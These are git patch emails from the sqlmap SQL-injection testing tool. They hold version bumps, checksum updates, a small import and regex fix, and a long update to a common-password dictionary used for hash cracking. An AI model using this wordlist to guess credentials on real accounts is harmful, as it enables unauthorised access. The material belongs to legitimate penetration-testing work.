1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/convert.py b/lib/core/convert.py index c96e0cf3908..352b46ffa0d 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -31,6 +31,7 @@ from lib.core.settings import UNICODE_ENCODING from thirdparty import six from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import html_parser from thirdparty.six.moves import collections_abc as _collections try: @@ -100,7 +101,6 @@ def htmlUnescape(value): import html return html.unescape(value) else: - from six.moves import html_parser return html_parser.HTMLParser().unescape(value) return value diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a485ce902c..61b98402de1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.24" +VERSION = "1.9.12.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d1d9c7cac653ff980be8ad812d21ca3c8eafa103 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Dec 2025 15:26:57 +0100 Subject: [PATCH 266/853] Fixes #5998 --- data/txt/sha256sums.txt | 4 ++-- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6e1f6da1978..fb9555b6e28 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 34e9cf166e21ce991b61ca7695c43c892e8425f7e1228daec8cadd38f786acc6 lib/controller/controller.py 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py -216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py +ac44a343947162532dbf17bd1f9ab424f8008f677367c5ad3f9f7b715a679818 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py 567c53222bc59f2aaba97ce9ba7613848ff0609007cc5dfc57051da34d76e41b lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -8f2879edfb18a238d8601e22e82a2a53277fb2aa0876ce42e283e67df4be172c lib/core/settings.py +45fead433aec67fad2bd3db61d81e3ab9c4ee875c3d2598789ea335a312d460c lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/agent.py b/lib/core/agent.py index a9034f744c8..8958824836a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -744,7 +744,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) + topNum = fieldsSelectTop.group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: diff --git a/lib/core/settings.py b/lib/core/settings.py index 61b98402de1..f7a02d7ad2e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.25" +VERSION = "1.9.12.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 37877502756ef5e7d12ca37cddd25e3f6aeee383 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Dec 2025 21:44:19 +0100 Subject: [PATCH 267/853] Minor improvement of smalldict --- data/txt/sha256sums.txt | 4 +- data/txt/smalldict.txt | 6376 +++++++++++++++++++++------------------ lib/core/settings.py | 2 +- 3 files changed, 3392 insertions(+), 2990 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fb9555b6e28..afcfd8196ce 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -27,7 +27,7 @@ f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/sta 30b3eecf7beb4ebbfdb3aadbd7d7d2ad2a477f07753e5ed1de940693c8b145dc data/txt/common-outputs.txt 7953f5967da237115739ee0f0fe8b0ecec7cdac4830770acb8238e6570422a28 data/txt/common-tables.txt b023d7207e5e96a27696ec7ea1d32f9de59f1a269fde7672a8509cb3f0909cd3 data/txt/keywords.txt -29a0a6a2c2d94e44899e867590bae865bdf97ba17484c649002d1d8faaf3e127 data/txt/smalldict.txt +522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt aaf6be92d51eb502ba11136c7a010872b17c4df59007fc6de78ae665fe66ee5f data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ 849c61612bd0d773971254df2cc76cc18b3d2db4051a8f508643278a166df44e data/udf/mysql/linux/32/lib_mysqludf_sys.so_ @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -45fead433aec67fad2bd3db61d81e3ab9c4ee875c3d2598789ea335a312d460c lib/core/settings.py +ad32a9309e56d4b10d1dcc6bafb63f2dc210901b1832a6e5196f02562bcd68eb lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt index 20828f97f08..96b0cab614a 100644 --- a/data/txt/smalldict.txt +++ b/data/txt/smalldict.txt @@ -3,6 +3,9 @@ * ***** ****** +******** +********** +************* ------ : ????? @@ -11,41 +14,47 @@ !@#$%^ !@#$%^& !@#$%^&* -@#$%^& $HEX 0 0000 -0.0.000 00000 -0.0.0.000 000000 0000000 00000000 +000000000 0000000000 0000007 000001 000007 +00001111 0007 +00112233 0069 007 007007 007bond 0101 010101 +01010101 01011980 01012011 010203 +01020304 0123 +01230123 012345 0123456 01234567 0123456789 020202 +030300 030303 0420 050505 06071992 0660 +070707 +080808 0815 090909 0911 @@ -54,15 +63,6 @@ $HEX 09876543 0987654321 0racl3 -0racl38 -0racl38i -0racl39 -0racl39i -0racle -0racle8 -0racle8i -0racle9 -0racle9i !~!1 1 100 @@ -91,6 +91,7 @@ $HEX 1020 10203 102030 +10203040 1022 1023 1024 @@ -102,7 +103,9 @@ $HEX 102938 1029384756 1030 +10301030 1031 +10311031 1066 10sne1 1101 @@ -116,11 +119,13 @@ $HEX 111111 1111111 11111111 +111111111 1111111111 111111a 11112222 1112 111222 +111222333 111222tianya 1114 1115 @@ -129,6 +134,7 @@ $HEX 1121 1122 112211 +11221122 112233 11223344 1122334455 @@ -139,6 +145,8 @@ $HEX 1124 1125 1129 +11921192 +11922960 1200 1201 1204 @@ -152,13 +160,20 @@ $HEX 1212 121212 12121212 +1212312121 1213 +12131213 +121313 121314 +12131415 1214 +12141214 1215 1216 +121834 1220 1221 +12211221 1223 1224 1225 @@ -167,16 +182,24 @@ $HEX 1228 123 1230 +123000 +12301230 123098 1231 12312 123123 12312312 123123123 +1231234 123123a +123123q +123123qwe +123123xxx 12321 1232323q 123321 +123321123 +123321q 1234 12341234 1234321 @@ -184,24 +207,46 @@ $HEX 12345 123451 1234512345 +123454321 1234554321 123456 +123456! 1234560 1234561 +123456123 +123456123456 +123456654321 1234567 +12345671 12345678 +12345678@ +123456781 +123456788 123456789 1234567890 +12345678900 +12345678901 +1234567890q 1234567891 12345678910 +1234567899 123456789a +123456789abc +123456789asd 123456789q +123456789z 12345678a +12345678abc +12345678q 12345679 1234567a +1234567Qq +123456987 123456a +123456a@ 123456aa 123456abc +123456as 123456b 123456c 123456d @@ -210,94 +255,143 @@ $HEX 123456l 123456m 123456q +123456qq +123456qwe +123456qwerty 123456s 123456t 123456z +123456za 123457 12345a +12345abc +12345abcd 12345q 12345qwert 12345qwerty 12345t +123465 1234abcd +1234asdf 1234qwer 1235 123654 123654789 +12369874 123698745 123789 +123789456 123987 -123aaa +123a123a 123abc +123admin 123asd 123asdf 123go 123hfjdk147 +123mudar +123qazwsx 123qwe 123qwe123 +123qwe123qwe 123qweasd 123qweasdzxc +123qwerty +123spill +123stella 12413 1245 124578 1269 12axzas21a +12qw34er +12qwas 12qwaszx +1301 1313 131313 13131313 +13141314 1314520 +1314521 1316 +13243546 1332 1342 134679 +134679852 +135246 1357 13579 135790 +135792468 +1357924680 1369 +140136 1412 +14121412 1414 141414 14141414 +141421356 142536 142857 1430 143143 +14344 +1435254 +1453 +14531453 1464688081 147147 147258 14725836 147258369 +1475 147852 147852369 1478963 14789632 147896325 1492 +1502 1515 151515 159159 +159159159 159357 +1596321 159753 +15975321 159753qq 159951 1616 161616 +168168 1701 1701d +170845 1717 171717 17171717 +173173 1776 1812 1818 181818 18436572 +1868 187187 +1878200 +19031903 +19051905 +19071907 +19081908 1911 1919 191919 1928 +192837465 1941 1942 1943 @@ -322,6 +416,7 @@ $HEX 1962 1963 1964 +19641964 1965 1966 1967 @@ -330,71 +425,102 @@ $HEX 19691969 196969 1970 +19701970 1971 1972 +19721972 1973 +19731973 1974 19741974 1975 +19750407 +19751975 1976 +19761976 1977 +19771977 1978 19781978 1979 +19791979 1980 +19801980 1981 +19811981 1982 +19821982 1983 +19831983 1984 19841984 1985 +19851985 +1985329 1986 +19861986 1987 +19871987 1988 +19881988 1989 +19891989 1990 +19901990 1991 +19911991 1992 -199220706 +19921992 1993 +19931993 1994 +19941994 1995 +199510 +19951995 1996 1997 +19971997 1998 +19981998 1999 199999 1a2b3c 1a2b3c4d -1chris 1g2w3e4r -1kitty +1million 1p2o3i -1passwor 1password 1q2w3e 1q2w3e4r +1q2w3e4r5 1q2w3e4r5t 1q2w3e4r5t6y +1q2w3e4r5t6y7u 1qa2ws3ed -1qaz +1qay2wsx +1qaz1qaz 1qaz2wsx 1qaz2wsx3edc 1qazxsw2 1qw23e 1qwerty 1v7Upjw3nT -1x2zkg8w 2000 200000 20002000 2001 20012001 2002 +20022002 2003 +20032003 2004 2005 2010 +20102010 +2012comeer +201314 2020 202020 20202020 @@ -403,23 +529,29 @@ $HEX 2121 212121 21212121 +212224 +212224236 22 2200 2211 +221225 2222 22222 222222 2222222 22222222 +2222222222 222333 222777 223344 +22446688 2252 2323 232323 23232323 2345 234567 +23456789 23skidoo 2424 242424 @@ -427,43 +559,81 @@ $HEX 2468 24680 246810 +24681012 24682468 2469 +2501 +25011990 +25132513 +2514 +2516 +25162516 +25182518 +2520 +25202520 +2522 +25222522 +25232523 +25242524 2525 +25251325 252525 25252525 +25262526 +25272527 +25292529 +25302530 +25362536 +256256 256879 2580 25802580 +26011985 2626 262626 2727 272727 2828 282828 +2871 +2879 290966 292929 +2971 29rsavoy +2bornot2b +2cute4u 2fast4u +2gAVOiz1 2kids +2tjNZkM 3000gt 3006 3010 3030 303030 +303677 +30624700 3112 311311 3131 313131 +313326339 3141 314159 31415926 315475 +3182 +31994 321123 321321 +321321321 321654 +321654987 +32167 3232 323232 +3282 332211 333 3333 @@ -472,22 +642,24 @@ $HEX 3333333 33333333 333666 +333888 336699 3434 343434 3533 353535 +3571138 362436 3636 363636 36633663 369 +369258147 369369 373737 383838 393939 3bears -3ip76k2 3rJs1la7qE 4040 404040 @@ -503,7 +675,9 @@ $HEX 4242 424242 426hemi +4293 4321 +43214321 434343 4417 4444 @@ -514,14 +688,18 @@ $HEX 445566 4545 454545 +456 456123 456321 456456 +456456456 456654 4567 456789 456852 464646 +46494649 +46709394 4711 474747 4788 @@ -532,12 +710,11 @@ $HEX 494949 49ers 4ever -4runner +4tugboat 5000 5050 505050 50cent -50spanks 5121 514007 5150 @@ -546,8 +723,11 @@ $HEX 515151 5201314 520520 +5211314 +521521 5252 525252 +5324 5329 535353 5424 @@ -571,6 +751,10 @@ $HEX 575757 57chevy 585858 +589589 +5956272 +59635963 +5RGfSaLj 606060 616161 6262 @@ -578,10 +762,14 @@ $HEX 6301 635241 636363 +6435 646464 +6535 654321 +6543211 655321 656565 +6655321 666 6666 66666 @@ -591,24 +779,32 @@ $HEX 666777 666999 676767 +6820055 686868 6969 696969 69696969 6996 +6V21wbgad 7007 +709394 +7153 717171 727272 737373 +74108520 741852 741852963 747474 753159 753951 +7546 757575 +7646 7654321 767676 7734 +7758258 7758521 777 7777 @@ -625,17 +821,24 @@ $HEX 789456 78945612 789456123 +7894561230 789654 +789654123 789789 789987 +7913 +7936 797979 7dwarfs 80486 818181 -81fukkc +851216 +85208520 852456 +8657 8675309 868686 +8757 87654321 878787 8888 @@ -645,358 +848,461 @@ $HEX 88888888 8989 898989 +8avLjNwf 90210 909090 +90909090 911 911911 9379992 951753 +951753aa +959595 963852 963852741 969696 +9768 +985985 987456 +987456321 9876 98765 987654 +9876543 98765432 987654321 9876543210 987987 989898 +99887766 9999 99999 999999 9999999 99999999 999999999 +9999999999 a +a102030 +a123123 a12345 a123456 a1234567 a12345678 a123456789 +A123456a +a1a2a3 a1b2c3 a1b2c3d4 a1s2d3f4 +a56789 a838hfiD aa +aa000000 +aa112233 +aa123123 aa123456 +Aa1234567 aa12345678 +Aa123456789 aaa aaa111 +aaa123 aaaa +aaaa1111 aaaaa aaaaa1 aaaaaa aaaaaa1 aaaaaaa aaaaaaaa +aaaaaaaaaa +aabb1122 aaliyah aardvark aaron -aaron1 +Ab123456 abacab abbott abby abc abc123 -ABC123 +Abc@123 abc1234 +Abc@1234 abc12345 abc123456 abcabc abcd abcd123 abcd1234 +Abcd@1234 Abcd1234 abcde abcdef -Abcdef abcdefg -Abcdefg abcdefg1 abcdefg123 abcdefgh +abcdefghi +abdullah +abercrombie aberdeen abgrtyu +abhishek abigail abm abnormal abraham +abrakadabra +absinthe absolut absolute -absolutely -abstr +abstract academia academic +acapulco access access14 +accident accord +ACCORD account +account1 +accounting +accurate ace -aceace achilles -achtung -acidburn +acoustic acropolis action -active +activity acura -ada adam -adam12 +adamadam +adamko adams addict -addison -adg +addicted +addiction +adelaida +adelante +adfexc adgangskode adi adidas -adldemo +aditya +adm admin Admin +admin000 admin1 +Admin1 admin12 admin123 +Admin1234 +admin256 adminadmin +adminadmin123 administrator -admiral +ADMINISTRATOR +adminpass +adminpwd adobe1 adobe123 -adobeadobe -adonis +adrenalin +adrenaline adrian adriana adrianna -adrienne -adrock -adult +adrianne adults advance -advent -advil +advocate +aek1924 +aekara21 aerobics +aerospace +affinity +afghanistan africa +afterlife again -agent +agamemnon aggies +agnieszka agosto +aguilas agustin ahl ahm -aikido aikman aikotoba aileen airborne -airbus +aircraft airforce +airlines airman -airoplane airplane -airport -airwolf -aisan +aisiteru ak -akf7d98s2 +akatsuki aki123 akira +akuankka alabama -aladin +alabaster +alakazam alan alanis alaska -albany +alastair +albacore albatros albatross albert alberta alberto +alberto1 albion +alcapone +alcatraz +alchemist alchemy -alcohol alejandr alejandra alejandro +alekos +aleksandr +aleksandra +aleksi +alenka +alessandra +alessandro +alessia +alessio alex -alex1 -alexalex +alex2000 +alexa alexande alexander alexander1 alexandr alexandra alexandre +alexandria +alexandru alexia alexis -Alexis alexis1 alf -alfa alfaro +alfarome alfred alfredo algebra -ali +algernon alias -aliases alibaba +alicante alice alice1 alicia -alien -aliens -alina -aline alisa alisha alison alissa +alistair alive +alkaline all4one -allan -allegro -allen alleycat allgood +alli alliance +alligator allison +allison1 +allister allmine -allo +allright allsop allstar +allstars allstate +almafa almighty almond aloha alone +alonso +aloysius +alpacino alpha Alpha alpha1 +alpha123 alphabet +alphonse alpine -alr altamira -althea +alterego +alternate altima altima1 +altitude alucard +alvarado always alyssa ama amadeus amanda amanda1 +amaranth +amarillo amateur -amateurs -amazing -amazon +amazonas +ambassador amber amber1 -ambers -ambrose +ambition ambrosia amelia -amelie america america1 american -amethyst +americana amho -amigo +AMIAMI +amigas amigos +amirul +amistad +amnesiac +amorcito +amoremio +amores +amormio amorphous -amour -ams -amstel amsterda amsterdam -amv -amy +anabelle anaconda -anakin +anakonda anal analog analsex +analysis +anamaria anarchy -anastasi -anchor -anders +anastasija +anathema andersen anderson andre -andre1 +andre123 andrea andrea1 andreas +andreea andrei +andreita +andrej +andrejka +andrejko andres andrew -andrew! -Andrew andrew1 +andrew123 andrey -andromache -andromed +andris andromeda +andrzej andy -andyod22 +andyandy +anette anfield angel angel1 angel123 angela +angelas +angeles +angeleyes +angelfish angelica angelika angelina +angeline +angelita angelito angelo angels -angelus -angerine angie angie1 angus -angus1 anhyeuem animal animals Animals +animated anime +aninha anita -ann -anna -annabell +anitha +anjelik +ankara +annabelle +annalena +annalisa +annamaria anne anneli +annelise +annemarie annette annie -annie1 annika -annmarie +anon anonymous another -answer antares +anteater antelope anthony -Anthony anthony1 -anthrax -anthropogenic -antoine +anthony2 +antichrist +antigone +antihero +antilles +antiques +antivirus +antoinette anton antonia +antonina antonio -antony -anubis +antonio1 +antonis anvils anything +anywhere aobo2010 aolsucks -ap +AP +apa123 apache +aparker +apc +apelsin +aperture +apina123 +apocalypse apollo +apollo11 apollo13 apple apple1 @@ -1004,61 +1310,72 @@ apple123 apple2 applepie apples -applmgr -applsys -applsyspub -apppassword -apps april april1 aprilia -aptiva +aptx4869 aq -aqdemo -aqjava aqua +aquamarine aquarius -aquser -ar +aqwa +arachnid aragorn aramis -arcadia -archange +arcangel archer archie +architect +architecture area51 +aremania argentin argentina aria ariadne ariana -ariane arianna ariel -Ariel -aries +arigatou arizona arkansas arlene armada -armand +armadillo +armagedon armando armani -armstron +armastus +armchair +armitage army +arnar arnold around +arpeggio arrow -arrows +arrowhead arsenal arsenal1 -artemis arthur +artichoke artist +artistic +artofwar +arturas arturo +arturs +arvuti +as123123 +as123456 +asante +asas asasas +asasasas +ascend asd asd123 +asd12345 asd123456 asdasd asdasd123 @@ -1066,294 +1383,314 @@ asdasd5 asdasdasd asddsa asdf -asdf12 asdf123 asdf1234 +Asdf1234 asdf12345 asdfasdf +asdffdsa asdfg asdfg1 +asdfg123 +asdfg12345 asdfgh -Asdfgh asdfgh1 +asdfgh12 asdfghj asdfghjk asdfghjkl asdfghjkl1 asdfjkl -asdfjkl; asdf;lkj +asdfqwer +asdfzxcv asdqwe123 asdsa asdzxc +asecret asf asg asgard +ashish ashlee ashleigh ashley ashley1 +ashley12 ashraf ashton -asia asian asians -asimov +asilas asl asm aso asp +asparagus aspateso19 aspen aspire ass -assass assassin +assassins assfuck asshole asshole1 -assholes assman assmunch assword -ast -asterix +astaroth +asterisk +asteroid astra astral astrid astro +astroboy +astronaut astros -ath +atalanta athena athens +athletics athlon atlanta -atlantic atlantis -atlas atmosphere -atomic -attack -atticus +atreides +attention attila attitude -aubrey -auburn -audi +auckland audia4 -audio -audiouser auditt audrey auggie august august07 -augusta -augustus +augustine aurelie +aurelius +aurimas +aurinko aurora -aussie austin austin1 austin31 +austin316 australi australia -austria +australian +author +authority auto +autobahn +autocad +automatic autumn -avalanch avalon avatar avenger +avengers avenir -avenue -aviation +aventura awesome -awful -awnyce +awesome1 +awkward ax ayelet -aylmer az az1943 azazel +aze azerty azertyui azertyuiop -azsxdc +azsxdcfv aztecs azure azzer b123456 +b6ox2tQ baba -babe +babaroga babes babies baby baby12 baby123 -babybaby babyblue +babyboo babyboy babyboy1 babycake +babycakes babydoll babyface babygirl babygirl1 +babygurl babygurl1 -babylon -babylon5 +babyko babylove -bacardi +babyphat bacchus bach +bachelor back -backdoor +backbone +backfire +background +backlash +backpack +backspin backup +BACKUP backupexec +backward +backyard bacon +bacteria badass badboy -baddog +badg3r5 badger -badgers badgirl -badman +badlands +badminton badoo baggins -baggio +bagheera bahamut bailey -Bailey bailey1 baili123com +bajs +bajs123 +bajsbajs baker +balaji balance +balazs +balder baldwin ball baller ballet ballin ballin1 -balloon -balloons balls +balqis +baltazar +baltimore bambam -bambi -bamboo +banaan +banaani banana bananas -banane +bandicoot bandit -bang -bangbang banger -bangkok +bangladesh +bangsat +bangsi bank banker banks +banned banner -banshee banzai -bar +baphomet +bara +baracuda baraka -barbados barbara -barber +barbarian +barbershop barbie barcelon barcelona +bareback barefoot barfly -baritone -barker -barkley -barley barn +barnacle barnes barney -barney1 barnyard -baron -barrett +barracuda barron -barry barry1 bart -bartman +bartas +bartek1 +bartender barton base baseball baseball1 +baseline +basement +baseoil basf basic basil +basilisk basket basketba basketball bass -basset -bassman -bassoon bastard -Bastard -bastards +bastard1 +bastardo +bastille batch bathing +bathroom +batista batman batman1 +batman123 battery battle +battlefield +batuhan +bavarian baxter -bayern -baylor -bball +baywatch bbbb +bbbb1111 bbbbb bbbbbb -bbbbbbb -bbbbbbbb -bc4j -bcfields -bdsm beach beaches beacon beagle -beaker -beamer bean bean21 beaner -beanie beans bear bearbear -bearcat bearcats -beardog bears bearshare beast beastie beasty beater -beatle beatles beatrice beatriz -beautifu +beaufort beautiful beautiful1 beauty beaver beavis -Beavis -beavis1 bebe +bebita because -becca becker beckham becky @@ -1361,80 +1698,87 @@ bedford beebop beech beefcake -beemer +beepbeep beer beerbeer beerman beethoven beetle -beezer -belgium +begga +beginner +behemoth +beholder +belekas +belgrade believe +believer belinda -belize bell bella bella1 +bella123 +belladonna belle -belmont beloved +bemari ben -benben -bender benfica beng bengals benito benjamin -benji -bennett +Benjamin +benjamin1 +benni bennie -benny benoit benson bentley benz beowulf berenice -beretta -berger bergkamp +berglind berkeley berlin berliner bermuda +bernadette bernard bernardo bernie berry +berserker bert bertha -bertie +bertrand beryl +besiktas bessie best bestbuy bestfriend +bestfriends beta betacam beth bethany betito -betsie +betrayal +betrayed betsy better betty -beverly -bharat +bettyboop +beverley +beyonce +bhaby +bhebhe bhf -bian bianca -biao biatch bic -bicameral bichilora -bichon bicycle bigal bigass @@ -1442,35 +1786,30 @@ bigballs bigbear bigben bigbig -bigbird +bigblack bigblock -bigblue bigbob bigboobs -bigbooty bigboss bigboy +bigbrother bigbutt bigcat bigcock bigdaddy -bigdawg bigdick bigdicks bigdog bigfish -bigfoot -bigger +biggi biggie biggles biggun bigguns -bigguy bighead -bigmac bigman bigmike -bigmoney +bigmouth bigone bigones bigpimp @@ -1480,45 +1819,47 @@ bigsexy bigtime bigtit bigtits -biit -bike -biker -bikini bil +bilbao1 bilbo bill billabon -billie +billabong +billgates +billiard +billings +billions bills billy -billy1 -billybob -billyboy bim bimbo -bimilbeonho -bimmer +bin bing -bingo -bingo1 binky binladen -bioboy +bintang biochem +biohazard +biologia biology +bionicle +biostar bird bird33 -birddog birdie -birdman +birdland birdy birgit +birgitte +birillo birthday bis biscuit +bisexual bishop +bismarck +bismilah bismillah -Bismillah bisounours bitch bitch1 @@ -1526,248 +1867,219 @@ bitchass bitches bitchy biteme -bitter -biv -bix -biz +bittersweet bizkit +bjarni +bjk1903 blabla black black1 +blackbelt blackbir -blackcat -blackdog -blackhaw -blackie +blackbird +blackdragon +blackfire +blackhawk +blackheart +blackhole +blackice blackjac blackjack -blacklab blackman blackout +blackpool blacks +blackstar +blackstone blacky blade +bladerunner blades -blah blahblah blaine -blake -blam -blanca blanche blanco -blast -blaster -blaze blazer bledsoe +bleeding blessed blessed1 blessing -blewis blinds Blink123 blink182 bliss +blissful blitz +blitzkrieg blizzard -blond blonde blondes blondie blood +bloodhound +bloodline +bloodlust +bloods bloody +blooming blossom -blow blowfish blowjob blowme blubber blue -blue12 blue123 blue1234 blue22 blue32 -blue42 blue99 blueball -bluebell +blueberry bluebird -blueblue blueboy bluedog +bluedragon blueeyes bluefish -bluejays +bluegill bluejean bluemoon -blues -blues1 +bluenose bluesky -bluesman -bmw +bluestar +bluewater bmw325 bmwbmw +boarding boat boater boating bob -bob123 -bobafett bobbie -bobbob bobby -bobby1 -bobcat -bobdole -bobdylan bobo bobobo bodhisattva body boeing -bogart bogey bogus +bohemian bohica boiler -bolitas bollocks bollox bologna -bolton -bom bomb bombay bomber +bomberman bombers +bombshell bonanza -bonbon bond bond007 -Bond007 -bondage bone -bonehead -boner bones -bongo bonita bonjour -bonjovi -bonkers -bonner bonnie -bonsai -Bonzo boob boobear boobie boobies booboo -Booboo booboo1 boobs booger boogie book -booker -bookie books -bookworm boom boomer boomer1 +boomerang booster bootie -boots -bootsie -bootsy booty bootys booyah -boozer -borabora bordeaux +bordello borders boricua boris -borussia -bosco -boss BOSS boss123 bossman boston -Boston bottle -bottom -boulder -bounce -bounty -bourbon +bou +boubou bowler bowling bowman -bowser bowtie bowwow -boxcar boxer boxers boxing -boxster boyboy +boyfriend boys +boyscout boytoy boyz bozo br0d3r br549 +bracelet brad -bradford bradley brady -brain -brains -branch +braindead +brainiac +brainstorm brandi -brando +brandnew brandon brandon1 brandy brandy1 brasil +braske braves bravo brazil -breaker +breakaway +breakdown +breakers +breaking +breakout breanna breast breasts breeze brenda brendan -brennan brent brest -brett -brewer -brewster brian brian1 +brian123 briana brianna +brianna1 +briciola bricks bridge bridges -bridget -briggs -bright -brighton -brigitte -brio_admin +bridgett +bridgette +brilliant +brinkley +brisbane bristol britain british @@ -1775,290 +2087,261 @@ britney brittany brittany1 brittney -broadway -Broadway +broadcast brodie broken broker bronco broncos -broncos1 -bronson -bronte -bronze brook brooke brooklyn brooks brother +brother1 +brotherhood brothers brown brown1 brownie +brownie1 browning browns bruce bruce1 brucelee bruins -bruiser brujita +brunette bruno -bruno1 +brunswick brutus bryan -bryant bsc bsd bubba bubba1 bubba123 -bubba69 bubbas bubble +bubblegum bubbles bubbles1 buceta +buchanan buck -bucket +buckaroo buckeye buckeyes -buckley bucks buckshot -budapest buddah buddha -buddie buddy buddy1 -buddy123 -buddyboy budgie budlight budman -budweise +budweiser buffalo buffalo1 buffet buffett buffy buffy1 -bugger -bug_reports bugs +bugsbunny bugsy builder -building +builtin bukkake -bull +bukowski bulldog -bulldog1 bulldogs +bulldozer +buller bullet +bulletin +bulletproof bullfrog +bullhead bulls bullseye bullshit -bumble -bumbling bummer bumper +bungalow bunghole -bungle -bunker -bunnies bunny bunny1 -burger -burgess -burn +burak123 burner burning burnout burns -burrito +burnside burton -bush bushido business busted buster buster1 -busty butch butcher butkus -butler butt butter +butterball buttercu buttercup butterfl +butterflies butterfly butterfly1 butters +butterscotch buttfuck butthead -butthole buttman -button +buttocks buttons butts buzz -buzzard -buzzer byebye byron byteme -c00per +c c123456 +caballero caballo -cabbage -cabernet -cable cabron caca cachonda +cachorro cactus cad -cadillac caesar +caffeine caitlin +calabria +calculus +calcutta +calderon +caldwell calendar -calgary -calibra -calico caliente californ california -caligula -calimero call -callaway -callie +calliope callisto callum calvin -calvin1 camaro camaross camay camber cambiami +cambodia camden camel -camelot camels cameltoe camera camero cameron cameron1 +cameroon camila camilla camille +camilo campanile +campanita campbell -camper camping campus canada canadian +canberra +cancan cancel cancer -cancun -candace candi -candice -candle candy candy1 -candyass -candyman canela -cang +canfield cannabis -cannon -cannondale +cannibal +cannonball canon -cantona -cantor +cantik canuck canucks -Canucks -canyon +capacity capecod -capetown capital -capone +capoeira caprice capricor -capslock +capricorn captain -captain1 car -caramel +caramelo caravan -carbon card -cardiff cardinal -Cardinal cardinals cards carebear +carefree +careless caren -carina +caribbean carl carla +carleton carlito carlitos -carlo carlos carlos1 carlton carman -carmel +carmella carmen carmen1 -carmex2 carnage +carnaval +carnegie 